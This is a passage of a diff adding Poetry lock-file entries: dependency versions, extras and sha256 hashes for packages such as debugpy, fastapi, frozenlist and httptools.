"check-sdist", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "debugpy" +version = "1.6.7" +description = "An implementation of the Debug Adapter Protocol for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"}, + {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"}, + {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"}, + {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"}, + {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"}, + {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"}, + {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"}, + {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"}, + {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"}, + {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"}, + {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"}, + {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"}, + {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"}, + {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"}, + {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"}, + {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"}, + {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"}, + {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"}, +] + +[[package]] +name = "exceptiongroup" +version = "1.1.2" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "exceptiongroup-1.1.2-py3-none-any.whl", hash = "sha256:e346e69d186172ca7cf029c8c1d16235aa0e04035e5750b4b95039e65204328f"}, + {file = "exceptiongroup-1.1.2.tar.gz", hash = "sha256:12c3e887d6485d16943a309616de20ae5582633e0a2eda17f4e10fd61c1e8af5"}, +] + +[package.extras] +test = ["pytest (>=6)"] + +[[package]] +name = "fastapi" +version = "0.81.0" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "fastapi-0.81.0-py3-none-any.whl", hash = "sha256:9ac5f5d252b4b394df29accb1ed4bedf30e0e87fc6eb7ec75e1449fa040bfc17"}, + {file = "fastapi-0.81.0.tar.gz", hash = "sha256:9dafdc41feda85ee5acf0f7dd6bcb7fd946318a6664b41fd33e33b26f666a346"}, +] + +[package.dependencies] +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +starlette = "0.19.1" + +[package.extras] +all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"] +test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"] + +[[package]] +name = "fastapi-class" +version = "2.0.0" +description = "Classes and Decorators to use FastAPI with Class based routing" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"}, + {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"}, +] + +[package.dependencies] +fastapi = ">=0.65.2,<0.90.0" +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" + +[package.extras] +lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"] +test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"] + +[[package]] +name = "frozenlist" +version = "1.3.3" +description = "A list-like structure which implements collections.abc.MutableSequence" +optional = false +python-versions = ">=3.7" +files = [ + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"}, + {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"}, + {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"}, + {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"}, + {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"}, + {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"}, + {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"}, + {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"}, + {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"}, + {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"}, + {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"}, +] + +[[package]] +name = "h11" +version = "0.14.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.7" +files = [ + {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, + {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, +] + +[[package]] +name = "httptools" +version = "0.6.0" +description = "A collection of framework independent HTTP protocol utils." +optional = false +python-versions = ">=3.5.0" +files = [ + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"}, + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"}, + {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"}, + {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"}, + {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"}, + {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"}, + {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = 